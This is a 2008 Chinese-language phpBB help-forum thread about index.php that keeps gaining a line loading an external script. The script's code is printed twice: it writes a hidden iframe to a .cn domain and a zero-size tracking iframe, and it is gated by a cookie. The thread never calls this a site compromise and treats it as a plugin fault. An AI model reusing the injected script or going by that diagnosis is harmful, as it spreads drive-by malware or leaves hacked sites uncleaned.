第 1 頁 (共 1 頁)
論壇 index.php 出現奇怪代碼導致程式錯誤
發表於 : 2008-12-10 01:08
由 StandardGr
不知道為什麼
每次差不多到了晚上十一點到十二點之間站台上總容易出現錯誤,然後首頁就一片空白
今天像是抓到了這個錯誤,只是不知道為何會這樣子
也就是首頁 index.php 最下面都會自動出現這行代碼
代碼: 選擇全部
?><script language="javascript" src="http://www.css.vu.cx/css.js?width=700&height=600&keyword=uf556"></script>
比照正常運作時的 index.php 卻不見這行代碼
他是出現在 index.php 的
之後
抓下 css.js 之後打開來看,他的代碼是這樣
代碼: 選擇全部
var cookA = new String(document.cookie);
var Then = new Date();
var cookName = '9B4A4C5EBF042C02' ;
Then.setTime(Then.getTime() + 30*60*1000 );
var kesor = cookA.indexOf(cookName);
if (kesor == -1)
{
document.write('<iframe src=http://www.rxgsslll.cn/yhyw/2.htm width=50 height=0 border=0></iframe>');
document.write('<IFRAME marginWidth=0 marginHeight=0 src="http://count27.51yes.com/sa.aspx?id=275666147&refe='+window.parent.location+'&location=http%3A//css.js/&color=32x&resolution=1024x768&returning=0&language=zh-cn&ua=Mozilla/4.0%20%28compatible%3B%20MSIE%206.0%3B%20Windows%20NT%205.1%3B%20SV1%3B%20.NET%20CLR%202.0.50727%3B%20.NET%20CLR%203.0.04506.30%29" frameBorder=0 width=0 scrolling=no height=0></IFRAME>');
document.cookie = "A1="+ cookName +";expires="+ Then.toGMTString() +";path=/";
奇怪,搞不懂為何老是會自動出現這個代碼
希望前輩可以給予指點
論壇這樣一兩天就掛一次,時間點都差不多,卻又沒有效的解決辦法...
再次感謝幫助
Re: 論壇 index.php 出現奇怪代碼導致程式錯誤
發表於 : 2008-12-10 09:07
由 心靈捕手
StandardGr 寫:
不知道為什麼
每次差不多到了晚上十一點到十二點之間站台上總容易出現錯誤,然後首頁就一片空白
今天像是抓到了這個錯誤,只是不知道為何會這樣子
也就是首頁 index.php 最下面都會自動出現這行代碼
代碼: 選擇全部
?><script language="javascript" src="http://www.css.vu.cx/css.js?width=700&height=600&keyword=uf556"></script>
比照正常運作時的 index.php 卻不見這行代碼
他是出現在 index.php 的
之後
抓下 css.js 之後打開來看,他的代碼是這樣
代碼: 選擇全部
var cookA = new String(document.cookie);
var Then = new Date();
var cookName = '9B4A4C5EBF042C02' ;
Then.setTime(Then.getTime() + 30*60*1000 );
var kesor = cookA.indexOf(cookName);
if (kesor == -1)
{
document.write('<iframe src=http://www.rxgsslll.cn/yhyw/2.htm width=50 height=0 border=0></iframe>');
document.write('<IFRAME marginWidth=0 marginHeight=0 src="http://count27.51yes.com/sa.aspx?id=275666147&refe='+window.parent.location+'&location=http%3A//css.js/&color=32x&resolution=1024x768&returning=0&language=zh-cn&ua=Mozilla/4.0%20%28compatible%3B%20MSIE%206.0%3B%20Windows%20NT%205.1%3B%20SV1%3B%20.NET%20CLR%202.0.50727%3B%20.NET%20CLR%203.0.04506.30%29" frameBorder=0 width=0 scrolling=no height=0></IFRAME>');
document.cookie = "A1="+ cookName +";expires="+ Then.toGMTString() +";path=/";
奇怪,搞不懂為何老是會自動出現這個代碼
希望前輩可以給予指點
論壇這樣一兩天就掛一次,時間點都差不多,卻又沒有效的解決辦法...
再次感謝幫助
建議您:
1. 徹底移除您最近安裝的外掛 (檔案與新增之資料表).
2. 若該 "程式碼" 已寫入 index.php, 則移除之.
Re: 論壇 index.php 出現奇怪代碼導致程式錯誤
發表於 : 2008-12-12 03:11
由 StandardGr
建議您:
1. 徹底移除您最近安裝的外掛 (檔案與新增之資料表).
2. 若該 "程式碼" 已寫入 index.php, 則移除之.
抱歉這兩天比較忙沒來得及感謝指導
原始 index.php 底下共新增三段代碼如下:
一個是
Top Posters on Index http://phpbb-tw.net/phpbb/viewtopic.php?f=132&t=51637
加了
代碼: 選擇全部
//Generate top poster list if enabled
if ($config['amount_top_posters'])
{
if (!function_exists('get_top_posters'))
{
include_once($phpbb_root_path . 'includes/functions_topposter.' . $phpEx);
}
get_top_posters();
}
一個是
Top5 List v1.0.2 http://phpbb-tw.net/phpbb/viewtopic.php?f=134&t=51371
加了
代碼: 選擇全部
// Top List Mod
include($phpbb_root_path . 'toplist.'.$phpEx);
一個是
Activity Stats MOD http://phpbb-tw.net/phpbb/viewtopic.php?f=132&t=50972
加了
代碼: 選擇全部
include($phpbb_root_path . 'includes/functions_activity_stats.' . $phpEx);
activity_mod();
由於其中兩個是官方認可,而一個是竹貓所使用的。所以應該不會有相容上的問題才是
目前可能先從這三個外掛著手整理
另外還有一點疑惑就是
擷取原始 index.php 的一小段代碼如下
代碼: 選擇全部
define('IN_PHPBB', true);
$phpbb_root_path = (defined('PHPBB_ROOT_PATH')) ? PHPBB_ROOT_PATH : './';
$phpEx = substr(strrchr(__FILE__, '.'), 1);
include($phpbb_root_path . 'common.' . $phpEx);
include($phpbb_root_path . 'includes/functions_display.' . $phpEx);
再擷取同樣區域的代碼,但是是出自於出錯的 index.php ,卻是如下代碼: 選擇全部
define('in_phpbb', true);
$phpbb_root_path = (defined('phpbb_root_path')) ? phpbb_root_path : './';
$phpex = substr(strrchr(__file__, '.'), 1);
include($phpbb_root_path . 'common.' . $phpex);
include($phpbb_root_path . 'includes/functions_display.' . $phpex);
不太了解為何在部分區域的英文字怎麼都會自動變成小寫...
難道這會與出錯有關係嗎?
再次感謝抽空給予寶貴的指教
Re: 論壇 index.php 出現奇怪代碼導致程式錯誤
發表於 : 2008-12-12 06:52
由 心靈捕手
您提到的已安裝外掛, 應該不會造成您提到的問題;
若不放心的話, 則先移除竹貓的 "Top5 List v1.0.2".
不太了解您是如何 "擷取" "出錯的 index.php" "代碼"?
建議您:
補充說明.
Re: 論壇 index.php 出現奇怪代碼導致程式錯誤
發表於 : 2008-12-12 15:03
由 StandardGr
心靈捕手 寫:您提到的已安裝外掛, 應該不會造成您提到的問題;
若不放心的話, 則先移除竹貓的 "Top5 List v1.0.2".
不太了解您是如何 "擷取" "出錯的 index.php" "代碼"?
建議您:
補充說明.
嗯~就如同下圖示
原始 index.php ↓
出錯後的 index.php ↓
如紅框中的一些函數代碼英文字都會自動變成小寫
很奇怪的現象不知道,我想這應該不是造成出錯的原因才是?
由於站台上出錯的時間點都在
晚上十一點到
凌晨一點左右
所以目前思考的抓錯方向是
找出會受時間所影響到的外掛
可能是換日啦,或者是到了某個時間點會做什麼變化、統計等等的資料導致錯誤
Top5 List v1.0.2與
Top Posters on Index可能就沒這方面的問題
而
Activity Stats MOD是會因為時間的轉動而做變化
之前也因為要設計版面而將
Activity Stats MOD改動較多
所以暫時先卸下
Activity Stats MOD試試看
測試個兩天看看,如果不行再將全站上的程式都恢復到最原始的狀態。重新安裝外掛
失禮,再次感謝抽空給予寶貴的指教